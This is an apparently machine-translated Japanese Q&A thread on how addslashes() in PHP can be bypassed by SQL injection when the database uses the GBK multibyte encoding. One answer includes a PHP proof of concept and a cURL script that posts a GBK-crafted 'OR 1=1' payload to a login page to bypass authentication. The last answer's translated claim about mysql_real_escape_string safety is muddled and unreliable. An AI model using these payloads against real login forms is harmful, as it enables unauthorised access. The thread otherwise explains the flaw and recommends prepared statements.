web-dev-qa-db-ja.com

addslashes()によるSQLインジェクションの例?

PHPでは、mysql_real_escapeは、addslashesを使用するよりもはるかに安全です。ただし、addslashesによってSQLインジェクションが発生する状況の例を見つけることができませんでした。

誰でもいくつか例を挙げることができますか?

54
Nathan H

さて、 これはあなたが望む記事です

基本的に、攻撃が機能する方法は、addslashes()を取得して、マルチバイト文字の途中にバックスラッシュを挿入し、バックスラッシュが有効なマルチバイトシーケンスの一部であることによって意味を失うようにすることです。

記事からの一般的な警告:

このタイプの攻撃は、addslashes()をエスケープして有効なマルチバイト文字を作成するようにだまされる可能性があるため、0x5cで終わる有効なマルチバイト文字がある任意の文字エンコードで可能です。後に続く単一引用符。 UTF-8はこの説明に適合しません。

43
chaos

Chris Shiflett は、以下の例で明確に説明しています。データベースでGBKエンコーディングを使用するときに試してみれば、当然のことです。私が試してみても、これは非常に少ないにもかかわらず、SQLインジェクションの可能性があることを証明していますが、十分な知識と能力を持つ人は簡単に注入できます。ここに例があります...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

通常、addslashes()またはmagic_quotes_gpcの使用はある程度安全であると見なされますが、GBKを使用するとそれらはほとんど役に立たなくなります。次のPHP cURLスクリプトはインジェクションを利用できます。これがもう少し理解しやすくなることを願っています。

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
4
ScoRpion

ここでの回答の読者への追加として:このMySQLのバグはすでに修正されています:)

また、準備済みステートメントを使用することは常に良い習慣です。これは、クエリを実行できる最も悪用のない方法です(いくつかのユースケースでは、最もパフォーマンスが高くなります)。そして、この欠陥からあなたを救ったでしょう。

3
nico gawenda

mysql_real_escape_string()対Prepared Statements は明確に説明していますmysql_real_escape_string()は100%安全ではありません

mysql_set_charset( 'GBK')を使用してmysql_query( "SET CHARACTER SET 'GBK'")、mysql_real_escape_string()は100%安全です。

1
ajaxhe